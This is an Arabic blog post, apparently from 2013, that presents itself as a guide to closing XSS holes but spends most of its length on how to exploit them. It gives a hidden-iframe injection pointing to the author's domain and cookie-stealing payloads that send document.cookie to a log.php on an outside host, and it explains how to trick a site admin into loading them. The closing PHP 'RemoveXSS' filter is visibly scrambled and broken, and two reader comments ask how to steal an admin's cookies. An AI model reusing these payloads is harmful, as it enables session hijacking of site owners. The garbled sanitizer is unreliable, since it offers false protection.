الأربعاء، 21 أغسطس، 2013

اغلاق ثغرات الـ XSS .


بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

لا تنسو صلاتكم

موضوعنا اليوم اعادة دراسة حول ثغرات الـ XSS ..

عبارة xss .. هي اختصار للعبارة التالية " Cross Site Scripting " وبعض الأحيان تسمى الثغرات بإسم CSS

ثغرة الـ xss .. باختصار .. هي تمكن المخترق من حقن اكواد html داخل السكريبت المصاب

وتكون عن طريق خطأ برمجي داخل السكريبت ..

الخطورة /

تخيل معي انك داخل موقع ومحصل فيه ثغرة xss .. جاك واحد قال لك .. الحين انت تقدر تضيف للموقع
اي كود html .. سواء اكواد عادية او جافا سكريبت وغيره من توابع لغة html ..
هنا نبدا التفكير .. حنا وش نقدر نسوي بالـ html عشان نحقنها داخل الموقع ؟؟
ما توصلت له من نتايج بحثي البسيطة ..
1- سرقة كوكيز اي شخص داخل نظام السكريبت .
2- تلغيم الموقع بحقن كود html .. لثغرة بمتصح معين لتحميل الباتش بجهاز متصفحين السكريبت .
3- اضافة اي كود جافا سكريبت الى الموقع .
4- اضافة أي كود html بجميع انواعه الى الموقع .

اعتقد كذا الخطورة وضحت .. البعض كان يتوقع ان الثغرات ذي تافهه ومالها معنى .. لكن اللي يفكر زين

يحصل نتايج حلوة واستغلالات أقوى بإذن الله .. على سبيل المثال .. ركزوا على النتيجة رقم 2

تلاحظون ان الخطورة وصلت لحقن باتش بالسكريبت .. ومن ثم ينتشر بجهاز الزوار بمجرد تصفح السكريبت

من بين الزوار مدير السكريبت او صاحب الموقع او صاحب الاستضافة .. تخيلوا معي ان جهازه طاح فيه باتش

وش راح يوصل له الهكر ؟؟

جهازه + ايميله + بيانات المواقع بجهازه ..

وكل نتيجة من النتايج بالأعلى لها خطورة .. كل واحدة أخطر من الثانية للي يفكر ويستغل زين !!

================================
انواع ثغرات الـ XSS ..!!

1- xss داخلي .
2- xss خارجي .
================================

نبدا بتفصيل النوع الأول وهو الـ xss الداخلي ..

بكل بساطه وهي ان يتم حقن الكود داخل الموقع .. عن طريق الـ POST
كمثال ..
ثغرة الـ xss في هاك الاهداءات .. كيف يتم حقن الـ xss داخل المنتدى ؟؟

كل اللي عليك .. تدخل تسوي اضافة اهداء .. مكان محتوى الاهداء اكتب كود الـ html تبعك

كنك على الـ code داخل الفرونت بيج 

ثم اضغط زر اضافة .. وسوي تحديث لصفحة المنتدى .. وبتلاحظ ان شريط الاهداءات شغال وفيه اهداءك

محقون بكود html .. يتنفذ في جميع الأجهزة اللي تشاهد الاهداءات !!

هنا نقول عنه حقن داخلي .. لأنه تم عن طريق الـ POST تبع الاهداءات " نموذج اضافة اهداء "

وبعد الكود داخلي محفوظ ويتنفذ للجميع ..

جرب شف اي سكريبت مصاب بثغرة xss داخليه

احقنه بهالكود


كود:
<html>
<iframe name="I1" src="http://www.samir.ga" marginwidth="1" marginheight="1" height="1" width="1" scrolling="no" border="0" frameborder="0">
</iframe> </iframe></p>
</html>
بمجرد حقن هذا الكود داخل السكريبت .. سيتم ادراج صفحة www.samir.ga داخل الموقع بشكل غير مرئي

.. لنفرض ان صفحة samir.ga .. فيها كود سحب الكوكيز .. او ملغومة بباتش .. أو أي كود html آخر خطر !!

وعدا ذلك من الأكواد اللي تقدر تبحث عنها بقوقل .. وتحقنها بسهولة داخل السكريبت المصاب ..

================================================

اما بالنسبة للنوع الثاني ..

ثغرات الـ xss الخارجية ..

هالنوع من الثغرات لايحقن من داخل الموقع .. ولكن من خارج الموقع عن طريق المتصفح من خلال رابط الموقع

ولايتم حفظ الحقن داخل الموقع .. بمعنى أصح .. الكود اللي تحقنه داخل الصفحة .. انت الوحيد اللي تشوفه ..

وبعد ما تستعرضه انت ما راح يشوفه احد غيرك !!

مثال ..

كود:
 www.site.com/show.php?edit=[xss]


مثل ما تلاحظون الملف المصاب هو show.php وفيه ثغرة xss في المتغير edit

بمعنى آخر .. اي كود نطبعه بعد علامة " = " يتم عرضه داخل الصفحة ==> لك فقط !!

تعالوا نجرب نحقن كود html لآظهار مربع رسالة خطأ مكتوب فيه .. Hacked By samir soltani

.. شف الكود

كود:
<<SCRIPT>alert("Hacked By samir soltani");//<</SCRIPT>
مع دجه بالثغره الافتراضية فوق

الحقن بيكون كذا

كود:
 www.site.com/show.php?edit=<<SCRIPT>alert("Hacked By samir soltani");//<</SCRIPT>
جرب ادخل الرابط بالأعلى .. بتلاحظ ظهور مربع خطأ مكتوب فيه Hacked By samir soltani

الحقن خارجي .. وكذلك الحقن ما يظهر إلا لك انت .. بمعنى آخر هالكود ينحقن وينعرض لك ثم ينحذف

ما احد يشوفه غير اللي يدخل رابط الحقن نفسه

هنا بيجي سؤال .. كيف أظهر الحقن ذا للضحية اللي ابيه يشوفه

يعني ارسل رسالة لمدير الموقع اقول له يدخل الرابط ذا

كود:
  www.site.com/show.php?edit=<<SCRIPT>alert("Hacked By samir soltani");//<</SCRIPT>
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

صعبة شوي .. ومالها فايده .. بيفهم الثغرة بالراحة .. ^_^

جاك واحد ثاني قال لا !!

يقول لك اخونا في الله .. شرايكم .. نسوي ملف log.php على موقع ثاني .. مهمته يستقبل اي معلومات توصل له

ويرسلها لايميلك

الآن .. نستخدم ثغرة الـ xss في الموقع .. نعطيها أمر سحب الكوكيز من جهاز الضحية .. ويرسلها لملف log.php

وملف log.php .. يوصلها لنا برسالة .. بعدها حنا .. ناخذ الكوكيز .. ونفكه وندخل بعضوية المدير العام ونخترق السكريبت !!

شف على سبيل المثال نحقن ذا الكود /

كود:
 <Script>dcidcilocation.href="http://www.samir.ga/log/log.php"+dcidcidocument.coockie</Script>
تعالوا نحقنه عن طريق الرابط
كود:
 www.site.com/show.php?edit=<<SCRIPT>dcidcilocation.href="http://www.samir.ga/log/log.php"+dcidcidocument.coockie<</SCRIPT>
الحين اي شخص يدخل الرابط المحقون ذا .. بيسحب الكوكيز من جهازه ويرسلها لملف log.php

كيف نخلي مدير الموقع أو الضحية يفتح الرابط ذا عشان نسحب كوكيزه ؟؟

أو بمعنى أصح كيف الهكر يسحب الكوكيز ويدخلني انا كصاحب سكريبت فيه هالثغره ويسحب كوكيزي ؟؟

بسيطه جداً عالهكر .. يسوي صفحة html عاديه ويضيف لها فريم داخلي مخفي .. ( iframe )

انه فتح لي هالرابط داخل الصفحة بدون ما الاحظ فتحه او افتحه بنفسي

كود:
 www.site.com/show.php?edit=<<SCRIPT>dcidcilocation.href="http://www.samir.ga/log/log.php"+dcidcidocument.coockie<</SCRIPT>

ويرفعه على اي موقع .. ويدخلنا فيه عاد بطريقته ويسحب الكوكيز !!

عاد الهكر .. كل واحد يطور براحته في الثغره .. خاصة اللي يفهم بلغة الجافا سكريبت ..

يسوي أكثر من كذا !!

================================================== ========================

الحل /

ان اكتشفت انه فيه ثغرة داخل ملف add.php مثلاً بأحد السكريبتات بموقعك

فيه طريقتين للحل .. حسب ما بحثت وقريت ..

الحل الأول .. تعدل على الكود .. وتمنع اكواد الـ html من التنفيذ

او تضيف function Remove XSS

حصلته في أحد المواضيع للأخ jadweb.com

وصراحه جربته .. وفعال وناجح !!

مثل الفلتر .. يفلتر لك النصوص بأحد المتغيرات

ظيفة الـ function هي حذف اي ثغرة من نوع XSS بشكل نهائي لو يتم استخدامه

في اي برنامج راح يزيد نسبة الآمان بشكل كبير .

طبعاً هذا كود الـ function
كود:
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
ince they *are* allowed in some inputs $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '',
// note that you have to handle splits with \n, \r, and \t later s$val); // straight replacements, the user should never need these since they're normal characters
5&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29> $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '
// this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X 61234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { // ;? matches the ;, which is optional // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
&#0{0,8}'.ord($search[$i]).';?)/', $search[$
// &#x0040 @ search for the hex values $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; // @ @ 0{0,7} matches '0' zero to seven times $val = preg_replace('/ (i], $val); // with a ; } // now the only remaining whitespace attacks are \t, \n, and \r
'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'o
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link'
,nbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2); $found = true; // keep replacing as long as the previous round replaced something while ($found == true) { $val_before = $val; for ($i = 0; $i < sizeof($ra); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($ra[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?'; $pattern .= '|(&#0{0,8}([9][10][13]);?)?'; $pattern .= ')?'; } $pattern .= $ra[$i][$j]; } $pattern .= '/i'; $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags if ($val_before == $val) { // no replacements were made, so exit the loop $found = false; } } }
}
لكن صعبه كل سكريبت .. نكتب هالسطور الطويله بأعلاه ..

لذلك اختصره عليكم

ذي صفحة php
كود:
<?
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
ince they *are* allowed in some inputs $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '',
// note that you have to handle splits with \n, \r, and \t later s$val); // straight replacements, the user should never need these since they're normal characters
5&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29> $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '
// this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X 61234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { // ;? matches the ;, which is optional // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
&#0{0,8}'.ord($search[$i]).';?)/', $search[$
// &#x0040 @ search for the hex values $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; // @ @ 0{0,7} matches '0' zero to seven times $val = preg_replace('/ (i], $val); // with a ; } // now the only remaining whitespace attacks are \t, \n, and \r
'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'o
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link'
,nbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2); $found = true; // keep replacing as long as the previous round replaced something while ($found == true) { $val_before = $val; for ($i = 0; $i < sizeof($ra); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($ra[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?'; $pattern .= '|(&#0{0,8}([9][10][13]);?)?'; $pattern .= ')?'; } $pattern .= $ra[$i][$j]; } $pattern .= '/i'; $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags if ($val_before == $val) { // no replacements were made, so exit the loop $found = false; } } } }
?>
احفظ هالصفحة بإسم xss.php

وارفعها داخل مجلد السكريبت اللي فيه الملف المصاب

ثم ادخل الملف المصاب وضيف له هالسطر بأعلى الكود

كود:
 include (xss.php);
الآن لابد تلاحظ المتغير المصاب .. وتسوي له فلتره ..

كمثال المتغير name .. عملية الفلترة كالتالي

كود:
 $name = RemoveXSS($HTTP_POST_VARS['name']);
وهذي دالة خفيفة وصغيرة جداً .. وتم استخدامها بترقيع هاك الاهداءات " فعالة "

كود:
function clean($val){
return htmlspecialchars(strip_tags(addslashes($val)));
}

تؤدي الغرض بإذن الله 

هذا والله اعلم

2 التعليقات:

  1. a5i kifach n3ml site na5w bih al cokies ta3 al admin????????????????

    ردحذف
  2. a5i kifach n3ml site na5w bih al cokies ta3 al admin????????????????

    ردحذف

لا تنسى ان تشارك samir soltani بتعليقك
او نشر الموظوع جزاك الله خيرا